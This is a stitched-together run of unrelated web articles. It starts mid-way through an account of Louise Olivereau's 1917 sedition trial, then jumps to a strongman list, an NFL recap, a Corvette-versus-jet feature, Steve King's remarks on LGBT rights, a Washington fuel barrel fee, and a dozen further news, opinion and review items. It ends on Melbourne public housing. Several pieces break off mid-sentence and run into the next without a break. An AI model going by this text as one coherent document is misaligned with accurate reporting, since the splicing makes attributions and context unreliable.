The alarm in the community was so great that Strong issued a statement to the Times a week after the trial. Strong justified her support for Olivereau by calling her “courageously true,” and emphasized that “Louise Olivereau meant no harm to any living soul.” But the school director supported a woman whom the Times called “an enemy of the government” in the pages of that same issue. The move to recall Strong from her school board position was successful.
The day after Thanksgiving the courtroom was packed with people who had read of the “declared anarchist” serving as her own lawyer in a sedition trial. The trial resumed with witnesses for the prosecution. Young men were called forward to testify about their receipt of the circular.
Olivereau asked each man if the circular had changed his attitude about serving in the military. Each said no, it had not. In presenting her case, Olivereau explained to the jury why she chose to represent herself. “I am by principle a direct actionist,” she told the men, “if there are points of procedure on which I err, his Honor will doubtless set me straight before any serious damage of any sort is done.” When she attempted to state motives for mailing the circulars, Moore rose to object and Judge Neterer sustained that objection, telling Olivereau that “the law does not make motive any excuse...motive does not enter into the matter.”
In Prosecutor Moore’s closing speech he told the jury that their duties were simplified. He stressed the point that Olivereau had attempted to cause disloyalty, and that the attempt was just as severe a violation as actually causing disloyalty. Acts such as Olivereau’s distribution of anti-draft circulars would “sow the seeds of mutiny and disloyalty to law and order, the evil fruit of such disregards which we know would be similar to those terrible acts now transpiring in Russia.” Moore emphasized that this case was an important one because it was a government concern “if the minds of the public were to be poisoned by a lot of maudlin sophistry and misplaced phrases.” He appealed to the men to act for “the very life of the nation,” claiming that people like Olivereau “strike at the very foundation of the Government and outrage the feelings of true Americans...”
Olivereau began her closing oratory by saying that the prosecution had not established that she had advocated forcible resistance to the draft law in writing and mailing the circulars. The suggestions of violence and force in the writings were not her words, but instead those of Elihu Root, whose speech was “largely quoted and which was perfectly mailable... and urged men to violent, unconsidered and unthought-out action.” The rest of the material in the circulars could be found in any public library, she said. She picked up a manuscript she had prepared and read to the jury her philosophy as an anarchist.
“Anarchism is the working philosophy of those who desire to bring about a condition of society in which force and violence will have no place.... I am convinced that violence breeds violence, war breeds hatreds and fears and,revengeful desires which lead to other wars....”
She said that constitutional freedoms including free speech have “always been limited to ‘freedom within the law,’ which is not freedom at all.” She declared that patriotic duty involved placing the good of the country above obedience to its laws, and she went on to give her views on organized labor, conscientious objection, and Wilson’s war policy. In proclaiming the love she had for her country--“the Brotherland”--she pointed out that the autocracy of the U.S. government was comparable to “the militaristic system of Germany we are fighting.” Her speech lasted for over an hour using this forum to proclaim her beliefs was one reason she had chosen to represent herself in court. The Post-Intelligencer reported that “her voice is deep, clear and her words are chosen for effect.”
When Olivereau had finished speaking, Ben Moore rose again to remind the jury that philosophy was not a concern in the case, and Judge Neterer then had his chance to speak to the twelve men. His words had a familiar ring; they were reminiscent of Elihu Root’s speech which had motivated Olivereau to protest. He told the jury that
“the time for a discussion of the merits of the war is past. There are only two sides to the war. One side is in favor of the United States; the other side is in favor of the enemies of this country.”
Neterer instructed the jury that Olivereau had not obstructed recruiting and enlistment by the distribution of the circulars; therefore he dropped three of the counts against her.
The trial was over; it took the jury less than thirty minutes to find Olivereau guilty of the remaining six counts. Three counts were for “attempting to cause insubordination, disloyalty, mutiny and refusal of duty in the military,” and three for “unlawfully using the mails and postal service of the United States for transmission of unmailable matter.” Sentencing was scheduled for Monday, 3 December.
The newspapers reacted according to the community viewpoints they represented. The Daily Call was alone in its angry account that dwelled on the absence of first amendment rights in the case. Convicting Olivereau was an act which would have made “the German Kaiser jump with glee.” The Industrial Worker simply remarked on an “ungrudging admiration for the brave stand she has made in defense of the principles which she holds dear.” The Times and the Post-Intelligencer both ran front page articles headed “Woman |
, bending iron bars around his arm in floral patterns, biting through iron chains or pulling them apart, and lifting a baby elephant while climbing a ladder. Unfortunately, while on his last tour of Europe, Siegmund was hammering a railroad spike with his bare hands through a 5 inch oak board that was resting on his knee. (like pictured above) The nail pierced his leg and as a result he contracted blood-poisoning. After 10 operations including the amputation of both legs Breitbart died eight weeks later.
Interesting Fact: Before the accident Breitbart planned to appear in Palestine and recreate the famous feats of Samson to gain world-wide attention for all Jews to join him in creating a Jewish homeland. Also, Breitbart’s life was fictionalized in Werner Herzog’s 2001 film Invincible.
1 Thomas Topham b. 1702 – d. 1749
Topham was born in London and was one of the most famous Strongmen of the 18th century possessing all around strength. Topham’s feats included bending thick pokers by striking them against his forearm and being able to lift 224 lbs. overhead easily with just his little fingers. His most famous act of strength occurred on May 28th 1741 when Topham lifted 3 barrels filled with water weighing 1386 lbs.
Interesting Fact: Topham’s feats are faithfully documented in Dr. John Theo Desagulaiers work called, “A course of Experimental Philosophy.”
Contributor: BlogballRussell Wilson connected with Luke Willson on a 23-yard touchdown pass late in the fourth quarter to lead the Seattle Seahawks to a 13-9 victory over the Carolina Panthers on Sunday. Our takeaways:
1. This was an ugly win for the Seahawks, as they played a sloppy game on both sides of the ball. The offense had multiple turnovers for the first time all season. Marshawn Lynch dropped an end-zone pass that was intercepted at the end of the first half. Russell Wilson missed a pair of throws to tight end Cooper Helfet, both of which would have gone for touchdowns. The defense dropped interceptions and flubbed fumble opportunities. The Super Bowl champions are fortunate to be sporting a winning record.
2. Jonathan Stewart had his most impressive game in two seasons. The offensive line didn't give him much room to operate, but he broke tackles and finished with the most yards by a Panthers running back this year.
3. Marshawn Lynch is averaging more yards per carry (4.3 to 4.2) than last year, but the Seahawks aren't feeding him. He's averaging under 16 rushes per game compared to 20 over the past seasons. Citing sources close to the running back, NFL Media columnist Michael Silver reported on NFL GameDay Morning that Lynch harbors ill feelings toward coach Pete Carroll from his training camp holdout and offseason proclamations about a reduced workload.
4. Rookie Kelvin Benjamin won his battle with Richard Sherman. The rookie out-leaped Sherman and Earl Thomas for a 51-yard bomb in the fourth quarter. He should have had a pair of touchdowns, but dropped one pass in the end zone and Cam Newton overthrew him by a foot on another throw.
5. Luke Kuechly and Thomas Davis deserved a better outcome. The linebacker tandem was flying all over the field, but they didn't get much help from the pass rush or Newton's offense.
6. Pro Bowl safety Kam Chancellor reportedly mulled ankle surgery after the Week 2 loss at San Diego. He should have gone under the knife, so he could return healthy later in the season. Unable to drive off the injured ankle, Chancellor has been a liability the past few weeks.
7. Active for just the second time this season, offseason hype bunny Christine Michael managed just 12 yards on four carries as Lynch's backup.
The latest Around The NFL Podcast recaps every Week 8 game. Find more Around The NFL content on NFL NOW.The 2009 Corvette ZR1 is one of the best bang for the buck cars in existence today. At an MSRP of just $106,620, this American muscle car is actually an affordable “supercar” that can hold its own against exotics like the Lamborghini Gallardo and Ferrari F430 — rides that cost two and three times as much. So, if you are the bully on the block with lots of raw power and aggression and not a lot of refinement, who’s your competition really? MotorTrend editor Arthur St. Antoine decided that the Corvette ZR1 needed to pick on someone in a different class entirely, an F/A-18 Hornet fighter jet from the famous stunt team, the Blue Devils.
This is a great matchup. In one corner you have the Corvette ZR1 capable of 638 hp and a 0-60 mph time of just 3.3 seconds and in the other a fighter plane with 32,000 pounds of forward thrust with a top speed of Mach 1.8. Vette vs Jet. Blue Devil vs Blue Angel. Who will come out on top? Check out the video after the jump.
Source: YouTubeRep. Steve King (R-IA) doesn’t believe “self-professed” gays should get equal protection because that treatment could allow them to trick businesses into committing hate crimes.
King said in an interview Sunday with Des Moines TV station WHO that he wasn’t happy with Arizona Gov. Jan Brewer’s (R) veto of SB 1062, a bill that would have allowed businesses in that state to discriminate against LGBT individuals on the basis of their religious beliefs.
“When you’re in the private sector, and you’re an individual entrepreneur with God-given rights that our founding founders defined in the Declaration [of Independence],” he said. “You should be able to make your own decisions with what you do in that private business.”
King said LGBT individuals are trying to “perfect special rights for self-professed behavior.” He added that their rights aren’t covered under equal protection because sexual orientation can be “willfully changed” and cannot be “independently verified.”
WHO asked King if his use of the term “self-professed” meant that he believed being gay was a choice. The Iowa Republican responded that he was unsure.
King then suggested that LGBT individuals could approach businesses that are disinclined to serve them in order to “set up a case” if they were protected under hate crimes legislation.
“And the one thing I referenced when I say ‘self-professed,’ how do you know who to discriminate against?” he said. “They about have to tell you. And are they then setting up a case, is this about bringing a grievance or is it actually about a service that they’d like to have?”
“When we get into the area of even hate crimes legislation, I’ve opposed that, because you’re punishing people for what you think went on in their head at the time they perpetuated a crime,” he later added.
h/t Raw StoryIf you’re out to raise money for transportation projects, one of the more clever methods is the so-called “barrel fee” that is the centerpiece of Governor Gregoire’s new transportation package. It’s structured in such a way that it minimizes impacts on Washington by effectively off-loading the costs to oil companies and out-of-state drivers. In fact, my back-of-the-envelope estimate is that for every dollar residents pay, the state will net roughly $2.20 in revenue.
Now, whether this is a good thing or a bad thing depends on your point of view. On the one hand, it’s relatively painless for Washington’s residents. On the other hand, by muting the fee’s price signal, it increases the disconnect between drivers and the true cost of the roads we use. There may also be some equity implications for out-of-state fuel users, but more on all that in a moment.
First, here’s how the barrel fee works: the state levies a fee of $1.50 on each barrel of oil that’s refined in Washington for transportation purposes. As a practical matter, oil companies will pass on much of that cost to the state’s consumers. If the cost is fully passed on it would work out to 3.6 cents per gallon of gasoline, diesel, or other fuel. It’s a price increase to be sure, but a relatively modest one—around $19 per year for a typical driver—that’s well within the average weekly fluctuation in gas prices.
Here’s where it gets interesting: Washington refines about twice as much oil as it actually consumes, and the governor’s barrel fee pointedly applies to petroleum products that are sold for consumption outside the state. That means Washington’s coffers can benefit from fees on twice as much oil as Washington consumers will actually pay for. (It’s similar, in some ways, to the way that some natural resource-producing jurisdictions benefit from extraction fees on products that are ultimately used elsewhere.)
So who picks up the other half of the tab?
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For products that are refined in Washington but consumed elsewhere, the burden of the fee will fall on some combination of out-of-state consumers and oil refiners (and perhaps some oil distributors or marketers to a small extent). Certainly, the oil companies will try to pass the cost of the fee along to their customers, but in markets that are competitively supplied by other sources of fuel, it may be difficult for them to do so. That means the oil firms will have to carve the cost out of their profits.
And that’s not all. While the barrel fee doesn’t apply to non-transportation petroleum like home heating oil or agricultural diesel, it does extend to fuels that are not touched by conventional gas taxes, such as aviation fuel, asphalt and road oil, lubricants, and the heavy oil that is often used by maritime shippers and railways. The particulars vary for each of these markets, but the upshot is this: only a small fraction of fees on these products will be able to make their way through to ordinary residents, whether in Washington or any other location. That’s a big deal because for every four gallons of transportation fuel produced, refiners also produce somewhere in the neighborhood of one gallon of these products.
Now, let’s imagine a hypothetical barrel of oil under the proposed barrel fee. Perhaps 70 percent of it would be refined into transportation fuel, half of which would be sold to Washington’s consumers and half of which would be sold out-of-state. Another 20 percent or so would be refined into things like aviation fuel and lubricants, where prices can’t easily pass on to consumers. (The remaining 10 percent of refined products would not be touched by the fee.) At the end of the day, Washington consumers would be touched by fees on about 35 percent of a typical barrel of oil, yet the state would reap revenue on 90 percent of the barrel.
That’s a pretty sweet deal for Washington’s residents. It’s not such a sweet deal for oil companies because they will end up eating a sizeable portion of the cost of the fee. And it’s not such a sweet deal for drivers in places like Oregon—where much of Washington’s refined fuel is sold—because they will, in effect, be paying more for fuel in order to fund road projects in Washington.
Part of me likes the idea of the barrel fee, just because it’s so darn clever. But part of me worries that it will seem like another free lunch for the state’s highway megaprojects that seem to soak up available transportation money before road maintenance is paid for. I’d be happier, I suppose, if we were actually paying the cost of building and maintaining the roads we use. If that were to happen, I suspect we’d see fewer new roads, better maintained existing roads, less driving, less energy waste, and perhaps lower transportation taxes to boot.
As for the rest of the transportation package, no comment for now.A U.S. Air Force MQ-9 Reaper unmanned aerial vehicle assigned to the 174th Fighter Wing prepares to take off from Wheeler-Sack Army Airfield at Fort Drum, N.Y. in this October 18, 2011 USAF handout photo obtained by Reuters February 6, 2013. REUTERS/U.S. Air Force/Staff Sgt. Ricky Best/Handout
PARIS (Reuters) - France has received approval from the U.S. Pentagon to buy two Reaper drones for intelligence gathering, and now only needs backing from Congress, Le Monde newspaper said on Saturday.
With its current hardware increasingly outdated, France is urgently trying to build up a modern fleet of drones for surveillance operations in countries such as Mali.
Le Monde said France intended to eventually buy a total of five or seven Reapers, built by privately held General Atomics, for 300 million euros ($385 million).
The French-led military intervention in Mali since January has exposed France’s shortage of drones suitable for modern warfare.
The U.S. military did not participate in the ground offensive but aided the operation by transporting troops and providing intelligence information from drones based in Niger. ($1 = 0.7798 euros)Molly Millar writes for Vancouver's wonderful bike magazine Momentum, but has a day job in a Cadillac Fairview office building in Vancouver. She parked her bike at a bike rack supplied by the developer, and came back to find a ticket on it. When she asked about it, she was told:
Hi Molly, We do like to encourage cycling to work and our tenants to think about being ‘green’ … but we also need to maintain the professional image of the building. We don’t want to encourage all day parking of bikes throughout our plaza, which would deter from this [professional image].
Richard Masoner of Cycleicious notes that Cadillac Fairview makes a big deal about how green and sustainable they are. Their "green at work" program has a lovely mandate:
To establish a legacy of operational excellence founded on the principles of Environmental Protection, Energy Conservation and Efficiency, Preservation of Materials and Resources, Technological Innovation and Social Responsibility.
It should also be noted that CF is 100% owned by "303,000 active and retired teachers in Ontario.", many of which might be outraged that this is how their pension fund treats cyclists.
Perhaps this is a teachable moment for CF. Other tweeters have noted that there is bike parking inside the garage (for a monthly fee), but this seems incredibly silly; many would consider full bike racks to be the mark of a progressive building, rather than considering them "unprofessional".
Molly Millar via CycleiciousARE HOUSE Republicans serious about dealing with the deficit? You could listen to their rhetoric - or you could read the rules they are poised to adopt at the start of the new Congress. The former promises a new fiscal sobriety. The latter suggests that the new GOP majority is determined to continue the spree of unaffordable tax-cutting.
The ominous signs come in the wording of the new majority's version of its pay-as-you-go rules, which normally require that new programs or tax initiatives be covered with cuts to other programs or new revenue. In the GOP concept, pay-as-you-go applies only to spending programs. When it comes to tax cuts, it's all go, no pay. Taxes can be cut, and the national debt increased, without any offsetting savings.
If you thought the sticker shock of the latest tax deal served as a useful reminder that tax cuts cost the Treasury money, think again. Deficit financing is fine, it seems, when it comes to tax cuts. But that's not all. Under the new rules, not only are tax cuts exempted from the pay-go concept, but the only way to pay for spending increases is with spending cuts elsewhere. No tax increases allowed - not even in the form of eliminating loopholes or cutting back on tax breaks. Of course, if you wanted to expand the loopholes, no problem. No need to pay for that.
Having made clear that no tax cuts need be paid for, the rules then take the extra step of specifying which deficit-busting tax cuts the new majority has in mind. They assume the continuation of all the Bush tax cuts; extension of the new version of the estate tax; and the creation of a big tax break to let "small businesses," which can be expansively defined, take a deduction equal to 20 percent of their gross income.
Tax cuts for the wealthiest are fully protected. But tax help for those at the other end of the income spectrum? Forget it. The expansion of the Earned Income Tax Credit and the Child Tax Credit, programs that help keep low-income working parents and children out of poverty, are not assumed to continue and would have to be paid for - with, of course, spending cuts. This is about as upside-down a set of priorities as can be imagined.Proprietary Content: A Force for Totalitarianism
Extrapolating from the totalitarian drift of government copyright policy to a future society under complete information lockdown is a common theme in speculative fiction by free culture advocates. The classic example, of course, is Richard Stallman’s “The Right to Read” (“… you could go to prison for many years for letting someone else read your books”). The regime of ubiquitous DRM, electronic surveillance and “zero tolerance” for copyright violations, in the public schools of Cory Doctorow’s Little Brother, is a near-future scenario of a society well on the way to Stallman’s lockdown.
The trends that inspire such fiction are very real, and exist for objective material reasons. With returns on capital investment in physical production stagnant in recent decades, global corporations have turned to extracting rents on information as their main source of profit. The dominant players in the world economy are all in industries heavily reliant on “intellectual property”: biotech, software, entertainment, pharma, and electronics.
But because of copyright enforcement problems presented by digital technology, the “cognitive capitalism” model requires increasing levels of authoritarianism — DRM, anti-circumvention legislation, DMCA takedown notices and mass lawsuits — to stay tenable. Johan Soderberg, in Hacking Capitalism: The Free and Open Source Software Movement, compares the digital copyright lockdown that the Western corporate ruling class depends on to the lockdown of photocopiers and fax machines that protected the power of the old Soviet nomenklatura (it’s not by accident, comrade, that the KGB used to refer to samizdat distributors as “pirates.”).
And the totalitarian proclivities of the proprietary content industries are very real. In the recent past, for example, global uplifter Bono mentioned Communist China’s suppression of online dissent as an encouraging example of governnment’s ability to combat piracy if it would just take the gloves off. Danish anti-piracy activist Johan Schluter gushed: “Child pornography is great …. It is great because politicians understand child pornography. By playing that card, we can get them to act, and start blocking sites. And once they have done that, we can get them to start blocking file sharing sites.”
Now the big proprietary content folks are cozying up directly to authoritarian states and encouraging the suppression of dissent in order to promote their own interests as a side effect.
For example, Microsoft has worked hand-in-glove with the Russian government’s anti-piracy raids — even though the only people prosecuted for “piracy” tend to be those “pirates” who are also political dissidents. In fact, Microsoft has supported such raids — and its lawyers have gone the extra mile in providing legal assistance to prosecutors — even in cases where hard drives contained no pirated material and authorities had no probable cause for believing they did. The Microsoft cockroaches finally backed off from their aid and comfort to the Russian police state when a New York Times article exposed them to the light of day (Clifford Levy, “Russia Uses Microsoft to Suppress Dissent,” September 12).
And the MPAA is encouraging governments to ratify the new ACTA treaty (a global version of the DMCA) by suggesting that it could be used to shut down dissident websites like Wikileaks. Further, as Mike Masnick suggests, using ACTA to suppress a political site like Wikileaks is a precedent for Joe Biden and his Hollywood goon squad at the FBI: What could be done to Wikileaks can be done to file-sharing sites (“MPAA Wants to know if ACTA Can Be Used to Block Wikileaks?” Techdirt, September 15).
The good news is that, with a global server network mirroring Wikileaks in many countries, shutting it down is easier said than done. And it’s a safe bet that more and more file-sharing sites will follow Julian Assange’s example in creating similar insurance policies for themselves.
It’s a good thing the Copyright Nazis are so incompetent at actually implementing their grand designs, because proprietary content industries are one of the leading political forces for totalitarianism in our time.Ian Simpson aka Kevin Abstract releases American Boyfriend – his 90s themed album about being gay, describing his high school experience of feeling like an outcast. Ian’s stereotypical Texas conservative household becomes the muse for his album.
Story | Matthew Gonzalez
The Texas rapper battles drug addiction, a heart break and wanting to escape from society throughout his journey. His persona “Kevin Abstract” is a social media identity – all of Ian’s inner insecurities, influences, and fears symbolized by wearing a helmet.
In high school he met the first boy he ever fell in love with. “I don’t know what it is that I love so much about high school, but I’m attached,” he said. “The empty hallways. The teachers. They made me feel so much. Even if [some of it] was bad.”
American Boyfriend’s track list includes 16 songs including the single “Empty”.
From his homosexual experiences in the song “Seventeen”, the punkish “Blink” is one of the darker songs on the album that evokes his drug use from lack of companionship, attention and being bullied, and opening his doors to newcomers into his life with “Friendship” – Kevin Abstract supplies an album that has varying sounds while maintaining his unique voice.
For instance, “Tattoo” — influenced by 3rd Eye Blind, Semisonic, and other 90s alternative bands — is where the Texas rapper explains that typical 9-5 jobs are outlets that simply waste your life.
Immediately, it switches over to “Yellow”, an acoustic song that relates his religious beliefs to his own relationship. The way Jesus sacrificed himself, according to the Bible, is how we must sacrifice ourselves in our own relationships.
American Boyfriend also involves songs with Kevin Abstract’s electronically enhanced vocals in “Suburbian Born” and the gospel sounding “Runner”.
Leaving various sounding tracks aside, his family is still the primary muse to American Boyfriend. After his father grows on the assumption that his son is gay in “Kin”, Kevin’s self-confidence and self esteem as a gay Hip Hop artist is challenged in “Flintridge”.
“Papercut” is about heartbreak. Within the song Kevin is reminiscing on interactions he once had with his female lover. Holding hands, Facetiming, and nervousness was explainable, but he couldn’t help but feel “empty” overall:
“Can’t tell my family I’m bi/Can’t tell my mother I’m gay/The hardest part of my day/Is wishing I was fucking straight/Life could be so fucking easy man”
“Miserable America” is Abstract’s personal narrative of homosexuality, his mother being homophobic, and his close friends being racist. It describes America’s hatred towards Kevin’s identity with lyrics: “Assassinate my character”.
I do (End credits) is featuring a girl singer singing “fuck you” to a society that attacks individuals like Kevin for his sexual orientation. She describes that it’s ok to be yourself to have control over your own sense of identity. Only you can be exactly who you want to be.
At the end of the day, Kevin urges us to accept and love ourselves. Although he’s ran into his fair share of homophobes and racists, he’s managed to embrace them and create an album that gives America a big “fuck you” — as described in the final track “I Do (End Credits)”.
Kevin was born into his character. He, like many other Americans face the struggles of being unaccepted into society. But as the leading voice for not only gay millennials, but millennials dealing with voicelessness, he’s only looking to inspire those to accept themselves with even more music that’s to come.
American Boyfriend can be downloaded on iTunes.LEGO, Funko and Spin Master were among top winners at the New York awards gala.
The top products and outstanding individuals in the toy industry were honoured last night at the annual Toy of the Year Awards and Toy Industry Hall of Fame induction ceremony, hosted by the Toy Industry Association (TIA) at The Intrepid Sea, Air & Space Museum in New York City.
LEGO scooped the top award, with its LEGO Friends Amusement Park Roller Coaster taking the prestigious Toy of the Year award. Meanwhile, Pop! from Funko LLC took home the coveted People's Choice award, winning the most votes from consumers.
See below for the full list of winners:
Action Figure of the Year: DC Super Hero Girls Action Figure Assortment from Mattel, Inc.
Active/Outdoor Toy of the Year: Bunch O Balloons from Zuru
Activity Toy of the Year: Crayola Air Marker Sprayer from Crayola, LLC
Collectible of the Year: Pop! from Funko, LLC
Construction Toy of the Year: LEGO Friends Amusement Park Roller Coaster from LEGO Systems, Inc.
Doll of the Year: Barbie Fashionista Doll from Mattel, Inc.
Game of the Year: Yeti in My Spaghetti from PlayMonster!
Infant/Preschool Toy of the Year: Doc McStuffins Toy Hospital Care Cart from Just Play
Innovative Toy of the Year: Hatchimals from Spin Master Ltd.
License of the Year: Paw Patrol from Spin Master Ltd.
Rookie of the Year: 3DoodlerStart Essentials Pen Set from WobbleWorks
Specialty Toy of the Year: LEGO Disney Castle from LEGO Systems, Inc.
Tech Toy of the Year: CodeGamer from Thames & Kosmos
Vehicle of the Year: Air Hogs Star Wars X-Wing vs. Death Star - Rebel Assault from Spin Master Ltd.
"This year's TOTY winners truly run the gamut, from quirky collectibles and skill-building construction toys, to family games and educational tech toys, but there is one thing they all have in common: they bring fun, laughter, and learning to kids," said Steve Pasierb, TIA president and CEO.
"Honouring the best and brightest toys and industry luminaries is a great tradition for TIA and the entire toy and play community. We congratulate this year's TOTY finalists, an exceptional collection of TOTY winners, and our esteemed Hall of Fame inductees, and thank them for bringing memorable play experiences to families worldwide."
During the ceremony, three industry greats were inducted into the esteemed Toy Industry Hall of Fame: Peter Eio, former president of LEGO Systems, Inc., the late Ray Larsen, founder of RLA Marketing, and the late Sydney Rosen, former chairman of Rose-Art Industries.
They join a wide roster of 71 toy industry luminaries, including Jim Henson and George Lucas, who have been inducted into the Hall since it was established in 1984.QUEBEC CITY – UFC President Dana White is aware of Nick Diaz’s demands for $500,000 per fight, and rest assured, he won’t be heading to the negotiation table with the former Strikeforce champion – or his younger brother Nate Diaz – anytime soon
“This is one of those situations that is going to be a sad story in a few years when you look back on it,” White told MMAjunkie. “You’re going to say they were two talented kids that had fans and had interest in fighting and they sat out.
“What people don’t realize when you’re in the moment and your time is now, guys don’t realize until it’s over. You will never make that kind of money again for the rest of your life. You should fight as much as you can possibly fight, get as popular as you can ever get and make as much money as you possibly can.”
There are certainly situations where fighters have the leverage to request renegotiation, but in the case of Nate specifically, White believes he is no position to bargain.
“With the Nate Diaz thing, he was in a position where he fought for the title. Then he fought again to put himself back in title contention and got knocked out in that fight,” White said. “Now he wants a new contract and a title shot and all that. It’s just not how this stuff works.
“You can sit out, you can talk all you want, you can tweet all you want and you can do whatever you want. The bus is going to pass you by and you’re going to be sitting there going, ‘What did I do?’ Or maybe they won’t. They’re the kind of kids that, listen, you came from the mean streets and you guys are street guys and all that cool s–t. I get it. But you gotta play the game a little bit.”
Nick’s contract demands came to light in a recent interview with MMA Fighting when the 30-year-old responded to a statement from White saying he offered a fight against Hector Lombard and never heard back.
When asked if he would express his feelings to either Diaz directly, White said he would like to, but it’s a nearly impossible task.
“Of course I would, but you can’t talk to these guys,” White said. “You can’t pick up the phone and call these guys. I talked to Nick, I offered him the Lombard fight, he said he was interested in it, then gone – he disappears. You can’t contact him again. You can’t get a hold of him.”
While Nick and Nate are arguably two of the most popular fighters in their respective weight classes, White isn’t going to push for either fighter to step in the octagon again.
The UFC’s head honcho has explained his stance on fighters having a short window in the sport to compete, and if the Diaz brothers choose not to capitalize on that window, that’s on them.
“Life goes on without anybody,” White said. “Presidents of countries leave, die, move on, whatever. The world moves on without you, man. This is your time to make money. This is your time to do all these things. If you just let it pass you by, that’s your decision. You’re grown men. I heard all the things: ‘We don’t know how to pay our taxes, we don’t know how to buy houses, we don’t know how to …’ Well, you’re grown men. You better figure it out quick because the bus is going to pass you by.”
For more on the UFC’s upcoming schedule, stay tuned to the UFC Rumors section of the site.
(Pictured: Nick Diaz)Toronto police say they are still looking for the driver of a car who crashed and fled a vehicle containing several weapons including a machine-gun.
At around 4 a.m., police found a damaged Mercedes on a curb near Allen and Transit roads, which is between Downsview and Wilson subway stations in the North York area, but the driver had left the scene. Police confirmed to CBC News that three firearms, including two handguns and a machine-gun, were found inside the abandoned vehicle along with two silencers and ammunition.
[Police] also found two silencers — one for one of the handguns, one for the machine gun — and a very small amount of ammunition. - Mark Pugash, Toronto police spokesman
Mark Pugash, director of corporate communications for Toronto police, said this matter is likely to be taken over by the guns and gangs squad.
"Whoever had been in the car was gone, but officers searched," Pugash said. "They found three firearms, two handguns and a machine-gun. They also found two silencers — one for one of the handguns, one for the machine gun — and a very small amount of ammunition."
Mark Pugash, director of corporate police communications, says a machine gun was among the weapons found in an abandoned car. 1:05
K9 and Emergency Task Force officers tried to track down the driver with the help of a York Regional Police helicopter, according to authorities.
"Anytime we come across firearms, that's something we take very seriously and we brought out a wide range of our resources," Pugash added.
Police said they don't have a suspect, but they do know the registered owner of the car. Authorities noted they do not know who was in the car or how many occupants were inside when the crash occurred.
The vehicle is now being examined and the investigation is ongoing.
Police said they do not believe there is any threat to public safety at this time.The Beijing municipal government has rolled out a ranking and appraisal system for professionals working in the digital news industry.
The system will test online news editors on their “political thoughts, professional ethics, relevant theoretical knowledge, knowledge of laws and regulations and the ability to put professional skills into use,” a government document released on Tuesday said. Those who pass the exams and evaluations will be awarded official accreditation on four levels – junior, intermediate, deputy senior and senior.
The pilot programme took effect on December 12.
In China, accreditation systems are a way for the government to regulate and monitor professionals. From accountants and lawyers to logistics workers and makeup artists, people working in almost all professions are ranked on different levels. While official evaluations are not mandatory in some industries, more senior rankings mean better salaries and benefits as well as higher social status.
Such systems have been criticised as inefficient and vulnerable to corruption. Critics also say they are a tool for government political control. In November, a law professor from Renmin University said the government is mulling a ranking system for lawyers which will prevent those with low rankings from working on cases dealt with by higher courts, Initium Media reported. Previous attempts to rank lawyers were met with resistance, Initium said.Pokémon has another official new mobile game that isn’t Pokémon GO – it’s a strategy battle game called Pokémon Duel where you collect virtual figures and fight them in an attempt to take over territory from your rival.
The Duel element involves actually battling your figures, which you can select in teams of six. These individual Pokémon have stats, including how many steps they can move in a turn, and different attacks. You can use your figures both to defend your territory and to attack the enemy’s.
This is a free game, but as you might expect, there are in-app purchases that can help make you more likely to succeed; you can use “plates” to boost your Pokémon’s powers, for instance, as well as Boosters, and you can trade currency earned in-game for new Pokémon. There’s also a league play mode that lets you compete with real human opponents at any time from the home screen.
Those figures look an awful lot like Nintendo’s Amiibo, the NFC-enabled figures that work with games on the Wii U and 3DS, as well as on the upcoming Switch, but no compatibility with those real figures are announced yet.
You can grab Pokémon Duel on either the App Store or Google Play now, and get to battling. It’s a very different take on Pokémon than either the main series or Pokémon GO, but it takes a lot from card battlers and tactics games, which sounds like a winning combo.The development of the forward pass in American football shows how the game has evolved from its rugby roots into the distinctive game it is today. Illegal and experimental forward passes had been attempted as early as 1876, but the first legal forward pass in American football took place in 1906, after a change in rules. Another change in rules occurred on January 18, 1951, which established that no center, tackle, or guard could receive a forward pass (unless such a player announces his intent to the referee he will be an eligible receiver, called a tackle-eligible play ). Today, the only linemen who can receive a forward pass are the tight ends. Current rules regulate who may throw and who may receive a forward pass, and under what circumstances, as well as how the defensive team may try to prevent a pass from being completed. The primary pass thrower is the quarterback, and statistical analysis is used to determine a quarterback's success rate at passing in various situations, as well as a team's overall success at the "passing game."
In some football codes, such as association football (soccer), the kicked forward pass is used so ubiquitously that it is not thought of as a distinct kind of play at all. In these sports, the concept of offside is used to regulate who can be in front of the play or be nearest to the goal. However, this has not always been the case. Some earlier incarnations of football allowed unlimited forward passing, while others had strict offside rules similar to rugby.
In several forms of football a forward pass is a throwing of the ball in the direction that the offensive team is trying to move, towards the defensive team's goal line. The forward pass is one of the main distinguishers between gridiron football ( American football and Canadian football ) in which the play is legal and widespread, and rugby football ( union and league ) from which the North American games evolved, in which the play is illegal.
This article is about a type of football play. For the thoroughbred racehorse, see Forward Pass (horse). For the 1929 film, see The Forward Pass
In American and Canadian football, a forward pass is usually referred to simply as a pass, and consists of a player throwing the football towards the opponent's goal line. This is permitted only once during a scrimmage down by the offensive team before team possession has changed, provided the pass is thrown from in or behind the neutral zone. An illegal forward pass can incur a yardage penalty and the loss of a down, although it may be legally intercepted by the opponents and advanced.
If an eligible receiver on the passing team legally catches the ball, the pass is completed and the receiver may attempt to advance the ball. If an opposing player legally catches the ball (all defensive players are eligible receivers) it is an interception. That player's team immediately gains possession of the ball and he may attempt to advance the ball toward his opponent's goal. If no player is able to legally catch the ball it is an incomplete pass and the ball becomes dead the moment it touches the ground. It will then be returned to the original line of scrimmage for the next down. If any player interferes with an eligible receiver's ability to catch the ball it is pass interference which draws a penalty of varying degree (largely depending upon the particular league's rules).
The person passing the ball must be a member of the offensive team, and the recipient of the forward pass must be an eligible receiver and must touch the passed ball before any ineligible player.
The moment that a forward pass begins is important to the game. The pass begins the moment the passer's arm begins to move forward. If the passer drops the ball before this moment it is a fumble and therefore a loose ball. In this case anybody can gain possession of the ball before or after it touches the ground. If the passer drops the ball while his arm is moving forward it is a forward pass, regardless of where the ball lands or is first touched.[1][2]
The quarterback generally either starts a few paces behind the |
developed from 2001.
The paper finds that the policy of "improving social mix" on public housing estates has been used as a way of covering up the politically unacceptable practice of displacing tenants and selling the land they lived on to developers. The other author of the Melbourne University report, Abdullahi Jama, grew up on the Carlton estate and was moved to other public housing when it was demolished. He and Dr Shaw interviewed public and private residents, one of the developers and those employed on the estate, as part of their research. Among them was Mary Parfrey, who has managed the Carlton Neighbourhood Learning Centre near the estate for 20 years. She said the developers selected by the government had demanded separation for private apartments from public housing. "Living next to public housing was definitely seen as undesirable [by the developer]," Ms Parfrey said. The Age asked Housing Minister Martin Foley how similar the outcome for the nine estates to be rebuilt would be to Carlton.
